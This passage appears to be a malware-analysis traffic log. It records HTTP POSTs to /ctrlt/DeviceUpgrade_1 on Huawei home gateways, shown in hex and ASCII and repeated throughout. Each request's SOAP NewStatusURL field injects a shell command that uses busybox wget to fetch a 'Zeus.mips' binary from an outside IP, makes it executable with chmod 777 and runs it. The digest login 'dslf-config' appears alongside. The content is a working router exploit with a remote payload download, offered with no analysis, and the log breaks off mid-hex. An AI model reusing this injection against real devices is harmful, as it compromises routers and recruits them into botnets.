50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 